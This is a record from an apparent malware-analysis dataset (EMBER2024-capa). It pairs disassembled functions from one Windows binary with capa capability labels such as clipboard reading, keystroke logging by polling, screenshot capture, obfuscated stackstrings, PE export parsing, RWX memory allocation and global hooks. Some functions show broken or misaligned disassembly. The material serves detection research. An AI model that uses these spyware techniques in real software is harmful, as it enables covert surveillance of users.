joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421084
Capabilities:
Open clipboard

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x42110e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebx + 4], 0
jne 0x4210f5
mov eax, dword [0x45d854]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebx + 8], eax
test eax, eax
jne 0x4210c3
push ebx
push 0x42111c
call fcn.00439f84
mov dword [ebx + 8], eax
mov byte [ebx + 0xc], 1
mov eax, dword [ebx + 8]
push eax
call sub.user32.dll_OpenClipboard
test eax, eax
jne 0x4210f1
lea edx, [ebp - 4]
mov eax, dword [0x45d580]
call fcn.004050b0
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x406eac]
call fcn.00408f50
call fcn.00403474
mov byte [ebx + 0xd], 0
inc dword [ebx + 4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421115
lea eax, [ebp - 4]
call fcn.0040397c
ret

Function at 0x42113c
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00421084
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4211ae
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x421182
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.00403b30
jmp 0x421189
mov eax, ebx
call fcn.0040397c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4211b5
cmp dword [ebp - 8], 0
je 0x4211a5
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
mov eax, dword [ebp - 4]
call fcn.00421058
ret

Function at 0x4211bc
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42129a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00421084
xor edx, edx
push ebp
push 0x42127d
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
je 0x421246
mov edx, ebx
mov eax, dword [0x4136b0]
call fcn.00417914
test al, al
je 0x421236
movzx eax, bx
push eax
call sub.user32.dll_GetClipboardData
mov esi, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, esi
mov edx, ebx
mov eax, edi
call fcn.004177e8
call fcn.00403514
jmp 0x421284
movzx eax, bx
push eax
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
jne 0x421201
lea edx, [ebp - 8]
mov eax, dword [0x45d60c]
call fcn.004050b0
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x406eac]
call fcn.00408f50
call fcn.00403474
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421284
mov eax, dword [ebp - 4]
call fcn.00421058
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4212a1
lea eax, [ebp - 8]
call fcn.0040397c
ret
Function at 0x4212a8
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00421084
xor eax, eax
push ebp
push 0x421300
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
mov esi, eax
push esi
mov ecx, ebx
mov dx, 2
mov eax, edi
mov ebx, dword [eax]
call dword [ebx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421307
mov eax, dword [ebp - 4]
call fcn.00421058
ret

Function at 0x421310
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00421084
xor edx, edx
push ebp
push 0x421365
push dword fs:[edx]
mov dword fs:[edx], esp
push 3
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, ebx
mov dx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42136c
mov eax, dword [ebp - 4]
call fcn.00421058
ret

Function at 0x4213dc
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00421084
xor eax, eax
push ebp
push 0x421451
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0042103c
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xa]
mov eax, ebx
call fcn.004178e8
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
call sub.user32.dll_SetClipboardData
cmp dword [ebp - 0x10], 0
je 0x42143b
mov eax, dword [ebp - 0x10]
push eax
push 9
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421458
mov eax, dword [ebp - 4]
call fcn.00421058
ret

Function at 0x421460
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00421084
xor eax, eax
push ebp
push 0x4214d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0042103c
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xa]
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0x5c]
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
call sub.user32.dll_SetClipboardData
cmp dword [ebp - 0x10], 0
je 0x4214bf
mov eax, dword [ebp - 0x10]
push eax
push 9
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4214dc
mov eax, dword [ebp - 4]
call fcn.00421058
ret
Function at 0x4241ac
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 0x14], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x45e758], 0
sete dl
or al, dl
jne 0x4242f0
mov eax, dword [0x45e75c]
mov bx, 0xffff
call fcn.00402fb8
mov eax, dword [0x45e758]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x4242bf
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x45e758]
call fcn.0040d340
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
je 0x4242b7
mov eax, dword [ebp - 0x10]
cmp byte [eax + 0x16c], 0
je 0x4242b7
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4242b7
mov eax, dword [ebp - 0x10]
call fcn.0042c040
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4242b7
push ebp
call fcn.00424168
pop ecx
test al, al
jne 0x4242b7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ebp - 0x10]
jne 0x424273
mov eax, dword [ebp - 0x10]
call fcn.0042a984
dec eax
jle 0x4242b7
mov byte [ebp - 0x15], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x15]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov bx, 0xffc2
call fcn.00402fb8
cmp byte [ebp - 0x15], 0
je 0x4242b7
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4242b7
mov edx, dword [ebp - 0x10]
mov eax, dword [0x45e75c]
call fcn.00423a18
inc edi
dec esi
jne 0x424206
mov eax, dword [0x45e75c]
cmp dword [eax + 8], 0
jle 0x4242d7
mov eax, dword [0x45e75c]
call fcn.00423aa8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4242f0
push ebp
mov eax, dword [ebp - 0x14]
call fcn.00424020
pop ecx
test al, al
jne 0x4242f0
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427214
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add edi, eax
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.00426f49
jle 0x4271bc
fimul word gs:[edi]
mov bh, 0x47
push es
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.00426f49
test byte [eax], ah
and al, 0x6c
mov ax, word [edi + 6]
cmp ax, bx
jbe 0x4271a3
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x42719d
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x42718e
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00426f49
enter 0xffffffffffff883a, 0xffffffffffffffd4
lea eax, [ebp - 0x58]
push eax
call fcn.00426f59
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00426f0e
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
inc ebp
clc
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x427237
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00426f49
cmp dword [edx], edi
retf

Function at 0x427318
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
Function at 0x42734c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5a], 0x41
call fcn.00426f59
push eax
push esi
push dword [ebp + 8]
call fcn.00426f0e
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00426f59
push eax
push esi
push dword [ebp + 8]
call fcn.00426f0e
add esp, 0x30

Function at 0x4273fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00426f49
sub al, 0x84
xor byte [0xff7c858d], bl
invalid

Function at 0x4275ec
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x4274ee
cmp dword [eax + 0xc], ebx
je 0x427591
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.00426f49
add dl, al
push edx
invalid
mov dword [ebp + 0xc], eax
je 0x427738
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x427531
mov dword [ebp + 0x10], edi
jmp 0x427536
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.00426f49
or ecx, dword [edi + eax*2]
or al, 0x8b
inc ebp
adc byte [ebx + 0x74c33b00], cl
aaa
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x42757f
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x42755a
and eax, 0xffff
push eax
jmp 0x42755e
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00426f0e
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x427738
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x42753f
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x4274e0
call fcn.00426f49
pop es
cmp byte [eax], 0xd
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x4275fd
add eax, esi
cmp dword [eax], ebx
je 0x4275fd
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x4275f8
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x4275e2
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x4275ea
cmp edx, ebx
jne 0x427738
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x4275b9
add eax, dword [eax + 4]
jmp 0x4275a6
mov dword [ebp + 0xc], ebx
jmp 0x427608
Function at 0x427ec0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [edi + 0x30fffffc], ebx
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]

Function at 0x428d54
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x7bc]
push eax
call fcn.00426f59
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00426eba
add esp, 0xc
jmp 0x428ec1

Function at 0x42910c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.00426f49
xor dword [esi], ebp
cmp cl, bh
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.00426f49
movsb byte es:[edi], byte [esi]
invalid
Function at 0x429b10
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x429b41
je 0x429b9b
sub eax, 7
je 0x429b62
dec eax
je 0x429b8c
sub eax, 0x17
je 0x429c1c
jmp 0x429c5a
add eax, 0xffffff00
sub eax, 9
jb 0x429c08
add eax, 0xffffff09
sub eax, 0xb
jb 0x429bf2
jmp 0x429c5a
mov eax, ebx
call fcn.0043a1e4
mov edi, eax
test edi, edi
je 0x429cba
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xc8]
test al, al
je 0x429cc3
jmp 0x429cba
test byte [ebx + 0x44], 0x20
jne 0x429cc3
jmp 0x429cba
mov edx, esi
mov eax, ebx
call fcn.004273fc
cmp dword [esi + 0xc], 0xffffffff
jne 0x429cc3
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00406a24
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00425ea4
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.004299c0
test eax, eax
je 0x429cc3
mov dword [esi + 0xc], 1
jmp 0x429cc3
mov edx, esi
mov eax, ebx
call fcn.00429a84
test al, al
jne 0x429cc3
jmp 0x429cba
mov eax, ebx
call fcn.00426a74
test al, al
jne 0x429cc3
jmp 0x429cba
mov eax, ebx
call fcn.0042c040
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x429cba
cmp dword [0x45b700], 0
je 0x429cba
mov eax, dword [0x45b700]
cmp ebx, dword [eax + 0x24]
jne 0x429cba
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x45b700]
call fcn.00427318
jmp 0x429cba
mov eax, dword [0x45e720]
cmp byte [eax + 0x20], 0
je 0x429cba
mov eax, dword [0x45e720]
cmp dword [eax + 0x1c], 0
je 0x429cba
mov eax, dword [esi]
mov edx, dword [0x45e720]
cmp eax, dword [edx + 0x1c]
jne 0x429cba
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.0043a0f8
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb9
call fcn.00402fb8
jmp 0x429cc3
mov edx, esi
mov eax, ebx
call fcn.004273fc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42a154
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x42a170
cmp dword [esi + 4], 0
je 0x42a19d
test byte [ebx + 0x45], 1
jne 0x42a18f
mov eax, ebx
call fcn.004291c4
test eax, eax
jne 0x42a18f
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x42a2ad
mov edx, esi
mov eax, ebx
call fcn.00429dcc
jmp 0x42a2ad
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x42a2a6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042c040
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00427318
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0042a154
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042c040
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a2ad
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x433bcc
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.0040397c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x433c2d
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x433c2d
cmp byte [ebp - 0x102], 0
je 0x433c2d
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00403ba8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439ec8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x45e7d4
cmp dword [edi], 0
jne 0x439f44
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x45e7d0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x45b88c
mov ecx, 2
call fcn.004027ac
mov edx, 0x439ea0
lea eax, [esi + 5]
call fcn.00439ec0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00439ec0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x439f19
mov dword [0x45e7d0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x43a0bc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43a0f4]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43a0d5
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43a0e4
or bl, 4
test esi, 0x20000000
je 0x43a0ef
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x440798
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44093d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40c01c]
call fcn.00402dac
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.0040397c
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x30], eax
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x440913
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004306e4
test al, al
je 0x440906
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44094c
lea eax, [ebp - 0x254]
call fcn.00408604
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x440906
xor eax, eax
push ebp
push 0x4408ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x440984
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4408e8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403ba8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x4408e8
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403ba8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x440906
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x440809
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.0040eec4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x440944
lea eax, [ebp - 0x260]
call fcn.0040397c
ret

Function at 0x4410e0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45e7a4]
cmp byte [eax + 0x8d], 0
jne 0x441151
cmp dword [0x45e7e0], 0
jne 0x441112
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44109c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45e7e0], eax
cmp dword [0x45e7dc], 0
jne 0x44112d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45e7dc], eax
cmp dword [0x45e7e4], 0
jne 0x441151
push esp
push 0
push 0
push 0x441040
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45e7e4], eax
pop edx
ret